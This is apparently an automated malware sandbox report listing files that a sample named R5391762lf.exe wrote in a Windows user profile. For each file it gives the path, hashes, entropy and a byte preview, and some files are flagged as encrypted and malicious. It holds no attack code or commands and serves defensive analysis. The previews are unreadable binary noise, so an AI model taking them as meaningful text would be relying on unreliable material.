SHA-256:	674EC3B0EA02426A398121202F7DD2EBAC5685FE36C79AB6100520FB54EAC403
SHA-512:	B3268D7AD5DD445070F48BBBCCE3AE41CE5173E6E88B03110F29663A62783032FB0134C23DD0A17FBBABB27DBCDB5B60F152A322ACD45438735AD81887E48AEC
Malicious:	true
Preview:	SQLit..F......%.#.....@..).r>..&~C.mu...........2.....q..}.#@.N......!..,.X.;}\....O.s.C...(.(W. )4.Z..i..`.[........]jSE....Q._.U..."N.A.id...O#{l$..[....b.2.'!....5i..m...f....l..:.z..... .k..Y.I}z!..(....Cl.n.mI...."is.'..L...w.G.v......n.Z..j.I.....1.b\<.>4.o.a.z.Q.1. ..Y)..sM0.h..J....}..ry..7..D....y\|uz...=n.e..-0.\.....,\m..#..,..w.QUO....O..Y.1#.5DM.4M...W..~..l.Hh...$....GN^.vA.a%5.;..JLFT....\|......S..#..\..a....w.z......XB..k..=9K}..j.t.S@...[.O.2...)MF..\v.Z....N.._q..m{{..Q4......ya../.w....].K.>....K.T.T.......RY.....#0Cj...5@....6$Y.TZ.&.....D.%.0$..cQ..v..N C.ks]B.l8.P3..A.<...n....U.....5d..a..O..@.B......R1._.k..$......w.?BQy..~..l..-i9.k.-.U..S.../F...."..V2Z..>..xP.iZ.!....$..!x.vk.T.;.]']n{@......,.......D...e..J#.>.:...s.W..6...5r'.....{.Z.U!.-.h...*..~..4~.x .>.. .....c#..\|.6.p...J.pz\|.\|.aw...@.Y.8.~.HU.8..}.`....An3...........H....Vny&.yn1.%L8..I.@n.k....Q.M....s.z...b.G....l..>.........Z.7...;.._..K.Wr.s}.."..o6..=

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992202250399942
Encrypted:	true
SSDEEP:	768:Mu7NJ57d5dAkB3kX1tyQUCja0DtFqlrwI4xb:vTrfUXbjfDGrb4xb
MD5:	4C1962AB859C7D3452DA534563466AD4
SHA1:	F13D2A8CBD4E8C02DF9AA082854CFC7651EE5559
SHA-256:	FDE9FAAA42DDE33ADF61D41959E0DC8CA4B829B5EB09ADC910F8189BA259F0F5
SHA-512:	39E71965DD8673FC50211AC5345AEFB1760D709B18EBB54A9A53C896C7EE04B59A7D0F90562873C3F82233E3FA2DD9E65B0826F7B93FF7ECBFA5AC382B51FA66
Malicious:	true
Preview:	SQLit...K..[.;z...W.....^.0....O.X..+..P.EL^y.;C..>.<..._.c....l....fk.d.YL..;\t_V......W..{..#._M.L%.8..y@.xs......"...1M5....V....B.../..q.....ZX.."-......Wx...Bj..Y......c.d..B.....f..`.....QqP../.R..T.I.r.v...>.I.H..V...ES...1..L.[G.r...........JTFH.....J....@..n.]0.p`7.b...u.P..By..5^...V.Lj`.+.S...pM......&f.aZ..8.....<"5._L.... ...u:...[.m.3.l...y.~P.g.<.....<.p..d.St``.PL..d..rE../.0...R.. j~.<...X.GJ...(z<[._..'..7.......rd.....x\|.?..0aa^..Qar..p7d..U........NM.....g..4..-:w..=...1....~.v....6..7.xPn..k..v.E..A.L.R]....F.o....-.c.+...d.......X..a...[.v...HIH,.v....6.?..f...\|.:.H..F.-..".l..b...!$..vs.g.z&2..u..>..$.....D..O.r.8..k...).y.B}..M&7.....-...G..M.VA_.G_..\|..E.......p...h....[. ...'.. T..v.....a......{.8..<.;OU....!..4K.?....!....$...'..f..l.....@M,@M1..@..U.i....F..ZT_ EN...o5_..9..#...sS[..m..tt...U+....7.R5.....S...e.u`.....@Ba..7.l....+. $[.lsS..>..U..wF$#...PO.....@.ag...p\...F.A..D...t._...B.=...Y2..^<.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99238683786243
Encrypted:	true
SSDEEP:	768:Gj4cKXASGD1RqI3PMrV+UELTP6nwE/meRJY:5A5xP6PEXPilRJY
MD5:	D0C9C5BCACB91CAC64E62DD841AE0D2F
SHA1:	A72D41E96D6CE1A31634566A81F293D09C49C1A2
SHA-256:	0BC0BB8F6F177FCEA16ACB93D3B6013E2A5383A7CE9B4EC1F9A6E1064636BE7D
SHA-512:	94A9A6CE9444DDBE12F66EEDBABAF8EBC2C91E65F0DEB72C82CF6242676BED32FB4963C46FE6F0FB9FD9623BE4BB3D5C93C83902FBF91B865B7285455DC01F1C
Malicious:	true
Preview:	SQLit<.H..d./P.....a...[.b.....j.......L.MZ.V.....,4.b......pE...R..3..zY......&).F.."......V..oFa.J..K.yh$.ZD..<..As.]...?.}q.[E.$.'O......{8.a....8...(...-.0gdt..;...[.F...]6......$)$.....^Y....!.G.#..#.^.....>5...G....>.....;.=(..%....h....L...6p\|..C.e..Q.".lA#-Q..&.?.B....&.b.e..1...p...@.=....PY.3..fP..Bo..$.@g.q..%.....H(1......=G...a.r..x...\|Q@7-j..S....6.u. .n.s..PTmKu.\|=.D..(.....[%...h...0!..7.......}3e....J....hYo.k...SC..z......J....~ ..<B.OI6.U..]-...b.N.0}o}..B......"j....I..$..l..;.({\........@5)2I..\.....3.s....S. ,.9..c...^.../..O..>.b.H.)o..U...}.?..=.....3O{R.\$...t..F.9..3.,.:.#.e.y..V........D....Zf;D....{;..S"({..]AM.M.O.=.~......#.q...y..y....9.Gna.......#.m[n..A.., ....$...};..L.>.H..c.!.4....y......QV{.t.3.g..7\UPD.d.A....$.....wP?....x.........,e.....)0.$...lH.IW.8.......<<...&....+...Q.E.l....\O.....$..4p;N.r.!h.~a..Ol....5$..@.^.a.R.&H1<Ml....xZ...._P..E:?4.`....}N.I.l..<..6^;S..,.U5b...\|.:..9%+hK....

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.9933990865446285
Encrypted:	true
SSDEEP:	384:cmiC9mx5JyVD4JMXCxVjyVXOMY5ej5B2O7f4yOQXTlAGDwiTTR52KfGI2lQ:1iC9OyVDdXCzjyVk5e7dOQXmBiTPJGLq
MD5:	DA03586E11F902108F9BB3022E74B6D9
SHA1:	C7F9089CFE5475FBF0B9D377DA0110477DB21C8C
SHA-256:	F7A5A3117488819B3571634C4F5EE15458F6738B63CBA3EA9DCF6CCC1D1C5E16
SHA-512:	050F76C0F30EB6BAD77CE9BC8DAB69F9300C3CCD0FD4ACE1C3F4DB737A3CD5C4872AF2CB2F56FF2B8BBC88241B92DE684766F97465CAF5D6D1BBF2B8BAD17D26
Malicious:	true
Preview:	SQLit...Wj.~A5..+...m... ~.A...../..d.p./>.=.._p@B...5..e...o]....v.z.;..M..3mw....D`KM.._...(5./...$&O{...\....S..]R..{.N.......+,..Y......@..:.(v....:.FyBW8..h....j..x....:. Qg{.....r.".f...Z'.Z...[..%.2A.....[.....a..;1.).P&0.......Qg!.E.....hO..MdHA..N.E.;\|.2..%..L.4W...U......-S..........i....k....+.'...r...nt...Q.3.........i...\~..W....0r.&J...HGn.p....]..a.)...D/r@..<L...w..&8.m<ry.kL...U.-..[......!S.+...T..:..R;0.S.u92..W..d..DS.h.!.=...7-..Cs.2...Q..M.<.j.(.kx....3v..........Z.4.Hcw.k4.w.vld..bT7G5E.k.A5,@.1......BfC...z....><h..\|..J.....m.+YwU...4.....2.a9AR.<.]...(.7...m.eN......V.........R.......6W.......x..4X._.....o...).`...(.[`......,......8A.^.1..... ......X......f~....g.._<).t,.t$.....g7(d....\j..3eB(.<UU"...Q~.Wy9...s.:v:..H/..}p....d..c.~..Z..:..3 $G.n...d..v.H~lG....1..r.5.,.HS..i...c.:.wa.7._.....R....4......m..Qi.i<..X.mPZW4u=.....<.a.9_+L......O..\|.(....H][.7..w..t.>.....S....c....l.F.mK...C....y......D.Lv....f...

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverCacheData.dat

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1356
Entropy (8bit):	7.815654780572552
Encrypted:	false
SSDEEP:	24:YTuWJByPm+N0FUydY1kGdxTn0N++a76rCQiYjfAQ15wytqJy/ksPXq8uWbD:YTuWPyBNEY1kGdJ+++a76xxfA1yvPXFX
MD5:	86C5ABBA458C3D6A4A1DB911F3A1DBA4
SHA1:	DEE93888FF62284441408A5E062ECDABE06591CC
SHA-256:	4F6FA0B5EF495D0E653FA55A1AAE076EFBEF2536FBBBFEDD78A227F6D95A26D1
SHA-512:	B64C9F8D8BECA50D5DB9BCF755F63B556E0378F8031B3BD0F6E262BEC4EE24921959DF7F5D900BE4E63EFD08E653D6DB1E6AF25FFCF71A1AFEA113DE9B9C66EF
Malicious:	false
Preview:	{"Rec...{.......(}.1......Nd....;w.'&<....kW.v.!q.e.....D.h8N.f.. 5:a7......2.....Re].......S.WPkf..9....:e../.J%.e.4...h....ItMh.#..#......>DH...D...(S..{gP.....i.1..[A.......v......&.\|.g.Ba.R......+h.(Q..Z.4m..Ovs..O[...D....R.v.8..q.Bz).....O.0}.-y@.U.....-Q..r....;.x.!vF...<...kR=...8...7.....v.}.....O....8..p.S.7t(`.a-....}.........<SO...X\|B5.w...Xpt.d..+X..[(.q..8.6..[..E..._M.s&$...m.......V.{...P.I31....fa.W..m...\. d.4..D2._ [......8....;..NsL.+..oA.....B...Z.1#)....Gs.C1..'.0.@1.....>....e....a..}..n.E/.....b..>....".LR..K..,..5'...h....~Z.w....4.L{..~...r....p.^X...i..[.....X`...8$_.....?\|Z.....l.G3.-..Y\...1..l...?.UF.&..S[.Z......k.....!1.tV..............4...;.D...}(...........)}V...B..-.8.4t8..+.w..#..&...y.C...U.....o.D..50..r.<(.....>.......,....(6/M........\| .O..3.o`.C1)0........G...g@m.....T"{...\|..F.&..P.z.de...[.%....HW.w;....+....d......y;81..G..Z.X...]...{..O...B !a..1...4....z.1...x...\......,....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9194863013297585
Encrypted:	false
SSDEEP:	48:eTarrGh34y+5afCviqnALXgD20cNoqQTFYDpRJ1ISr1S7+03lAIjX2tBbyRtC9C5:KmrZyVCa5wDlcNoqwKDppIa1S7x3eIrv
MD5:	ABF87FB1ED77D8A2526DA54031E4162C
SHA1:	58D859BADC7A4037D58C127E91FEC59E11F6B284
SHA-256:	FDCE8DC265E56A6C204404EFE025FA02EC78E104051B7C79667CF25148B6F9C6
SHA-512:	6A8450A0389B6E8D25503A14C19E03AE74499A4DE5B951655A1001D6E6257E55926BC5AD2D0E1EC74696E3954B2B8E8048ED3E608F5DC3818981F3D16728AFBE
Malicious:	false
Preview:	{.".Tb..&.%(..I ...j.$..P..r.uT{.#%.j.:.s..p..pH.......-.NF...A..u_.P#.....NP.H"~..H..I>......p..c.....xE{.3.....j.s.<.JY...^.....Aj\..(.....@zO..Tl..M:..?..O.....j..f....%...x7C.#.s2...K..}...k...m...n...Y..j.;x=....=8$,!....tj.c..........+.p_kd.Q.G^.2{".s.!....7.2.....V..j.u........e./B.NM..x..w.C@.$,B..z7.{>!....D.7..[.....-..XZ.....-......@.=..=A..e.j..H,..A....F....F..?\|pw......+z...]=!Pz&.E..K...8..R.F...M...X@s...s{L..\.j`...K...\|c..r,.ed?..2.n"w.v`.........".._v7Y.Eu..V.c^.@Y....?..f.\|..1/..1..C......e....0~...8...T\j..+..9.!8...5............1.....g...y.y.$.w..Ar..0.F.n.f..}G...f..i.1c....~:^...2W.].{].9...& D...q...p.eEH..Y.D....Y...x.FZ....5...X.........I.q..]C..^..i....$"......h..%.Z.B.c.\|.R...`.:.a....B#H...PU........&.t....d-.......J.......Cro....o...H....1B.a^...p.U3.~...O......'L.=..fvzz..H..6N...[~H.Tf....o..8S..TpR./H7...Y.B........5.F../.\m.S..%d........^.[..-.\|......AOz...4.H.....n..OA.+...2.1w..G'.....1N.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.917929394856095
Encrypted:	false
SSDEEP:	48:qG79aDMcUWTVkInlMYYqGslGAQSKnmj66Jgz2RhMK09hsq3OvDizXFuED:q88vvkIn7YYGAwmjFgwaK2hsq3OYFuQ
MD5:	98F7E17626854D9CAD549C7ABD26F67B
SHA1:	B823E300D1B76E82A5C83636D9AD3C400EAB2A9D
SHA-256:	A52BDB63E1576A99FD60DCBCFF75FC86EBF974522D92615BD7B4A6EA2BCBA955
SHA-512:	2EA9BBCB50F4AE2E4B46AC76F2FBF61727A863BFFDF2C06D7EBC00F03B41C008009AE0FE91CAE6C503510D631DF226EC21E958C200FD7FDF72045E352AA70522
Malicious:	false
Preview:	{.".T.....7B]...".1../...1i...j.B..8bk.70...X.....p.../U8.y-p...P.......a7!{.7../B-....ke..!)..e.[.x.DZ.4"._`......t.y..9...r...J5..<.P...+.R.3N\|.m.".<....i..w.?..).u...u....L~......})..H.%.Lm8.!w.N..O\|....m.4......p.3Oc...xm...a...;..LT)..aP...'.ayL..`tk\a...k.e.{T.......0...`..Q...x.....nt..8.jK}j...G,--G.`......u....}.Q)..n......W.(-.M..... .>..9.$....F.AFXQ3t...1r......~.....^B&.b.r\|.x.jj%..\|.l3..2..%.!...S.eP.8u{N\|CY..".r.i..U.~.G._(kX@...W-.^.7..../....{..m..P}..g.p2B....b.yJ;...~..V.D...K...n.8...>.(.}....4_.D{.W).5.s@.....i...D.{X.K....&>..N. ...{...8...{....E...W..Uj..=....:..>d...NB..9.c.l.aC......q= ..(n..,../..R...'....`."..p\X..o......si..\|t!\J......h....w.6..;C' .R_n.6..$...B..\^.[..M..Y._e...k..$..?....#.=..z..i.4+>.=.U.oN"m..U.O...@.'X.A,C..K..Q..U.CC.3..'.;..B..U.4.!...=..........D\|.<...&..H.W....v.h.": U8..nvW.8.....jY\.`..j`..N.....:.!.g...d'wu..dL.....PB.KY..../..........Kki.../..^a.o....X...........l..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937006512567824
Encrypted:	false
SSDEEP:	48:FVg770pd+hDiJgYwNYo4ooJ1Gp+QhDcYc2XRynpJsMs1RGSAHhl3cM9ESK1aENLQ:w0WhDK0NVoJ1IjDcRciQJAHhl3cTSIax
MD5:	F74C7C0E6F201A5FD0F871EE360D4B0D
SHA1:	590E1BDD47DE7E7E64BD864ECE8AEA436F346E17
SHA-256:	289E75F9603CCC9D4473FFBD0FC74EBC08F07FB708DE1D594F138205D1AF80D7
SHA-512:	1922AD6484DAB81EFB7B4C8AF06CA0A64F1EEB6B934306EB5C75E4AE673CD2C58ADC4D5BA23358D1E616F8CF45780B7D23807E29E9D4536C4BD0A58CC2BEF960
Malicious:	false
Preview:	{.".T.Y.\..M E...XK.2.:.2<.iI\.?v....6.[q.E.xp^.AoA&.}...x......-{..O...i...........x..r.:.?50.ux9...r.B..KK..<..\|.......9.;...m..-...F2.I.B4..............P....Y..n.3.4v..\I...p.........../4....05[x...\|.4.. .)...r.?.<D.......`..N.lm..1......+..#.t....6x....U.....>...!)..N.xD..{.Z...<u.). .......I.B.Z.{./...e!.q@..S.^..v1.U..\Qv^..~..cB....].&.J.........>g..P...i..~.`.@M..-.....9..h....[..G.i.yX.+!..G,p.....y..z.....n.h[i...._v.A..\\|..;..G..w.B.dK.........J.)..a.......@.{,{m.;......us[-a.I../....H..n8c.yc.....Cez.=....o...!?....l\D.d..FW.5.F........X42.=..=...[R.C....l$...H..E.vj.M......0.M.....&.#......S...]D..'.o.?.V....\...x.c..s.y.....X@.Wq6D..T...c.E6....../.4...m#...\|..-su.&..+q...Rd.........O..'....Ao.o.n....;..E..B.{sg.a../.e0.^..=/VCY.m.....$...a6D....+...".......V...$...].q..88.K..:...i.{n...Lw...QVG...r...OP7..q$.`.U...!N.e.y...j.4,...v....@..~..-.z?..2......wUVj[n......Y..H'...S....^Dr..jH...V3.'......gu..;...%J..^..~h..v>.Ti

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.924584207886789
Encrypted:	false
SSDEEP:	48:PdWu46UWh2wYnftXng+8R5ZKDkjwmX/ZfHYfgUvaTF7L4e+E2VXC+vXFuED:PdWuxXYnntgH5/vZfFmap7L4TVfvFuQ
MD5:	B93165466D9B6361FC9A2011207C9E1E
SHA1:	F24B15049096281B95285AFED84F91F5C15D81AD
SHA-256:	57E50B6AFF81FF8801E0924A98822B020182F90FFD79668CE414125928921198
SHA-512:	4E63ECB38653A15D915E1F47E150D8E8511D92A5EBBCAC471A71921988D9A84DF0694562509AE3D42FC3BF1B4A7F837B6596D06CDC60AA18B4317881503D76E1
Malicious:	false
Preview:	{.".T.!.......Tj..cy......s4..<..A.<=.x..!_........[.Z..pd9..H.D9.U;@e..\.sR..1..sx..Y..b........o....=.u...$.sSBU..p/.U^..l....6....e...x._.v..E.2..3.T?...c.."._....n4eQ.......c...$..-Y.... x.rt..b./+......l...d...1k.X.M..Y../...x.W....Z.'0V..5..&..@..j.....5...m...).Gb.w....$.-.....J..hS3S..h.u.%x3....$..H....)..0.c..m...M.....5.dh.H.`#WW.M.....RS.....6f..S..C.Cb.q.......g......8......}]..[0<O..s..:.I]...J....d.F.Aub.....+.]....R$.`..$KA]..r...d...#.....L.=w^....C...._.Z......B..sn.AR.=.....h...~>....).....5t..J.....[...p....U.......&.W.n....\|Pr...}.9..b....*i_.Y13.H..w..z.=..&h^..%.p2....CR....7p..... .-.a.l.d.H+j8.%v.89\|U...].>A..c1&.D.......$....5L.....;....[Lf....+..k.1....V..&.n....V8GQ..I.BA..=.~..........N.Q..D..\/...R>...%...........r...v...?j.[.Y..#F.wO..g.,..Z.lU%.}0~....h.KdG..jC..t^7..w.}J.ln\|l.cr.&T........n.A.gg.#w!...e..}........g-.E.-h.....7...Hp.....s.......l.'...j.........i..3;:.w...y.BRT.1.....<.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.958607125703874
Encrypted:	false
SSDEEP:	96:+6j+N1gQiJpHdeCNnh1bgUgzPteyS75cmcsPYCDe8cWg3TyWNOnng3vRUw0jb+xR:+ISOlJTZ54PpS9cSDYM2v/0jb+xUyiQ
MD5:	ED7E69351BD080201817D69CEAF0D3FC
SHA1:	E29A4326891619673689142D5FC5599BE6566702
SHA-256:	433DA76D22A125461AD029DEA629358B18EA65408466A55BEBA35406C49A4A4C
SHA-512:	72AA9B79042F153D14967A2D5AB75E6D5D3E7BF849B70FF2CE43E016C9FACD1E86D2DEEA391A5B2130186A135C73C04D846A175AE088C8BDF5C9BADD6A9FD324
Malicious:	false
Preview:	{.".T.-.Z.D.Q..{e...a.1X.. z0.+4 O..... .z$5#%...x..<.>G.~...J.%I....y.~.Qa.n.>.h..."....i@..[.0..e..3..Y...,.w....cY.!y..$...]M...F..ji...6ma\|.....T.......oZ.:r...Pxy.......]...x.]h..R.........."..}a`..EuG...}v...;..dn/.....P...0...l?..3..L.r..A.(...'I.....}..#........._.#.%.?........... .-z......e.....6...m.}l..1.....8..L.....'.q..Pl.+cc6.2...k3c.f....6O...`4.N].4K.........^....M..Bpg.+..E.J\|.N>..+l.1...._..<.\..:.c.%......5...6QQ8G.7.\j.5...X.......,.W.m..!..........x9.... ......M..A..../$.GA...<..`m..,Br..`gH..I4..X<....C_j..P...j.38.sp..\.8....W......i....&7....#e.=7.s.6...(.5.j><S..s.R..qH....UM..7F. .....s.(.n...24Tv^.V..._.n.fH.....W......R.I...h..=]...$....t..f.<...%.-......)E;..........[7.'p:.....#.. ..y.8.e.....@F..o........X...e.w.....Le.....t;.S=....a...."5.....H..{..V....nT@=9..F.....\|.mgh..n...(Et.M.?.y..E..=]'.7vE.u.._.e..ls......u...O.~\=...v..Ql....Q...^.GL((.52Saq...x.,........b..= ...3.....z...r:{s.....O..T./5....T.h.?....

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.9327559476704685
Encrypted:	false
SSDEEP:	48:fHO0NB+dB7hqq8zgTVaVZDNLbBLM9nkVWrY22pD4iUEjVWwDP0a9EvC5WNMYB9vW:fHO0m5hAghaVBNnOiVJX4if5Wwj0zAWc
MD5:	9C48F2DEB543D86A453C4028684691CA
SHA1:	88F867330F65B1A36A5D55D9D22355026FA6D4AB
SHA-256:	F377E7B7CC464329A6F0D36292C5FC6C408CBDAA3C0486DBFEF9A7D8CE3DDA65
SHA-512:	1295B8392652BA3EEF2E47033D0FB84F34FF5976C6E12DDC5705E6DE1AF82C0A8D45B502A08603C700F8FD259A0E747EA31D399CBC4D7E2F0EC59E194BC33080
Malicious:	false
Preview:	{.".T@..#-V..:.L.z..MP...M.^....:Q...'g./.L....9. ...vK...w....@.'Z...'v...........}.o...b#r"........)J.+.M..q..l.......8..o.J..!<.0.V.y.9..x..d..Mw...Vgz..9.`^.w.F.....8...y......_....x.K.z.y..2.....<q]............8Q...M...I..2#.......$.."....\|.H.>Q..4y.tO..x....N[.P....].H....D.../.......).".......:.k.0e.,~.n3{...+......or.CB.u..}..QNS..!.U./..p.=...a..]..:(Q$...........k.!..K..c....6..\,}+E...C.....HB}*.\>Bc..j.c.u..c.}.M.d.%y...^...J..,.....5.6#...,.2.....)Vy.R...+.i.4.../..#..@..>.\.;.p..s......4.e....^@Akt....F.;.W~J4.Y..ru...V)Q....(d...(:.Y...zr....N.X.}.....G3...O..J..1...\s.Ov[.(...6.=.6.Y....J.x).~V0\.?..0@..~>.0....qJ.Y...%......f......E..... .v...\|...\..}d......X!..<.s.R.J.{...d.;F.T.M.4...G...2..t.6QGJ:.=.....&.yW.2LM.\w?....L!xZ......$.C]..j..c.. u...........V.{....>.?.27W......T.}.........D.u.(.^....h....I...G+.0-N...x.....g.k.j.u..0......)..zOcr....E[@....l......P....#`..}X.\|...z.. e....8........!.V.....<.W.....-K2)...

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.920249940411754
Encrypted:	false
SSDEEP:	48:cWNgXOC2a7UA555QyEM/g15K7EWa8S8b0jXFuED:cWreqVmzanFuQ
MD5:	5CF6121255A817170E4D495E2134063D
SHA1:	31772E3C0FD2EE9AAB258A50337C62C0930AA1E8
SHA-256:	1C9C5CBE3D91429F81030F97A3BF74F4D824B9438A138C7E55C084F4293E27F5
SHA-512:	0BE3E2B26F7FF50E5F8947CDA42A39C108957D947FE33A771C308E0BB235E05A295D0F9B9DAA8C55FA39991BAEA054C3C08F57941CB86393593572278D315ACC
Malicious:	false
Preview:	{.".T.I?.N..ez...np.K(j........;9..se...(F.......#....n...... c?.q....n.n....z..v.m.f.........\0+.&./...\|I.-...3.G...G..........^.+.v8}P..N ....Qv...;......=B.6...:.....Z.s....%D(.a......."....-..z..X^5.+f"y.Y...M5.J....#b.W.....'..QwK...A...m1.T..VS.w8..?^.".....T.I.@.f....p....~...r.lZ..-......l......lc...z..77..W"t..++......%;Q.:<.5.4).[.y!@.\|x.b..#[.-.....b..sv.....i.v5{.%.U.....S......9..P......x.o.-.NB.X.A...Y...B..l.....T..}.E.k,K..)K..#?.O..yl.Z...I..D."....;[......E.z.vC...(..6].Mr..6d....E.........?..-..b..../cq...#.f......2."....\/._....@..^.!Z....C.C.E...uf..~..d.-.mEqRPrO.>..:.H~..(.J.l....@.J1.....Y$.-.)m.0B*.V/zS...,..J.fjF............. ..M...F&Z.o%.&......0o....~3......`.N....Ql,.'i..Q.C.j]Lz.'8..%m~...[x...<A..x.....#_3...4.).J.M..h3U.........+..ZA\|2\|..[K...D X-i.+....UM.0.X.s\|8..3yX?/&\....J....&1.[K:.CF..U......l.....5...W.s....}.....C..@...U.......i'..;\t.f.\|T..5...".M3^AO .o[.........Y...l.....O.ar.."..j.

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.697474692858126
Encrypted:	false
SSDEEP:	24:DLQUvIXuyDQfIP21SXtBNpe1lSUU2rOoyj3pXq8uWbD:DcUI7KOkgvNpoBORj3pXFuED
MD5:	FADCFD1040BC011A268BB99B044BA825
SHA1:	F49B0E2CF3C8C78379F8A39DCC54467959DBC176
SHA-256:	3E74EDCC62568A696C7538D1ABB7EC3A264CBB54F980112E8A2F39B494E7FFA5
SHA-512:	19DDB0609CFED53BE78384F6D08279057841213C566D96A3B26F1936F71453FD31DEA9BBBE9D70EFE7E34AF2B610F670A19EE2B6BE32005CBFEA1E00E09307CA
Malicious:	false
Preview:	....B..._.I.F.....w.g..IH.>.......# .q(...CD...S....[ss.H...-.....Y.....F.G.%HQe......p....i..D....Y.?...m. ..I....m..^...{.d.......$..E.5..._..(.NQ.A.....N.i^..&.v.5....k....6..Vyc.....le...r.:../.........:.fG\|....:.y.K. .....II+e...]..Z..s..Z....v.>}+.f1.{zO"z...?{0.</.S.~...0.......O...T...L...+(E.j%?...}!9.V\|....]t.0..1!%XZd..C...zY..su.x.d5.I...k.Y0....AO0y.....V.$Y.w..'........0....B..A<...L4.0.L.\.s..b_[....../.S..pS.-.S.v..\|.~....t.........L...t=.B ..f.s..@M.-.E.c<..y...>.s.....o.%...C..n:....^....H.ZD.@..G.H...x=.+.."..p....*..T....._-.V.a.5..%...0T!..K......8t.$4}.}d.?j...1;C.e...]...0.q.............mZ..N...........>.....g.xk. .%.iV.jx...E.Md.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.33149396397319
Encrypted:	false
SSDEEP:	6144:H82iv5QdJcUfYTPz+/tz7S2TzIOdLm+vyJfbnQkK96B88yKv4bWTmTvEiLSE:cWtUPz+1z7S2TTm+6dF4/r
MD5:	92827261AF9B54CE7791088545787B84
SHA1:	4C96CB9034B391E8921878423E94957A08BE4A70
SHA-256:	3B7A15DFC1D8F824EA3B76B64A4668940E9192EF88DC2A05CFD25BB8BA29CE58
SHA-512:	365717ACD96519A8589845D84A953D8DDF5E0B3622E6B090113725B4030D81908A33D89CCAB9882F15FEDAF734733771B28AB8ACB9CFC0D0A824545322EB1C6B
Malicious:	false
Preview:	...P....Z...?..f_.n..r....#......r..K(..!..G$`Q.35..V......4.].......'t..MJ...vC>..L....T.J..<3.q.V..]S...;X....!.F:c.>.7i..{.dH..d.39yq...Ut....s...5.g..#.F.c..V.>..;.}......H.DM...XP.y&.u"....I,]..A.^.36..w:k../....)...vB..&...E.....'.]Mp:.r...S....._..q.;.z...uh..?.......C.e...+[.W..V....7..C$~.~.?.6I.F`z.A....C....nw0.........S.E....`...R..z.T.'.MU..;..9eX..%..6.U$.'...G..^in.@.}..._.3N]..T..>..h..........E...I......o.....).....,...<.>...O..d..v..Y.(..X..JK...nBUj...E...6.W.".........s......]-..c..;.Z.]"kB..J.f..........H........Y....~U..@.]..L.p!)..].P.7./<...N....t.<.(..U>.'....hy..1..8Fn.eF.tI.......~r.^.>I...,.Y..q.N.}.mdi.x.............6dt(rY.GnjN~6t..........G....{..3.lW[Y......M...."u..i..G0.U}ljB.&....f[.PEE4...8Vs&lD..a..lW....}.....:j...b..C.......a1.....6uH....F.2.........%......>...C....u..%.x.0%.x...{2n.........4.....A...S.+6...K.'I.F\|.0.G......B.....r.^.8..?gF...#.2/..R...".-...#p.f.9.Lg.e..e.".^...q.%.\..

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988432190344394
Encrypted:	false
SSDEEP:	384:LLdk5bbumOn2zQvaku0c63Q05GRTjho47bONME+3Q6XWxVG8F5XQ:SRCmOnQQSku0c4Q0kRPmWbO+3Q6iV35g
MD5:	56DA04E69A5155D1800E49E0373D5B08
SHA1:	85893C92176E0125DCC36C0F1458D02B2889BB5D
SHA-256:	B98E4E04178C6D252DBBB3E68BE540512A15E7ED486FE65BDC4767BE0CDE7245
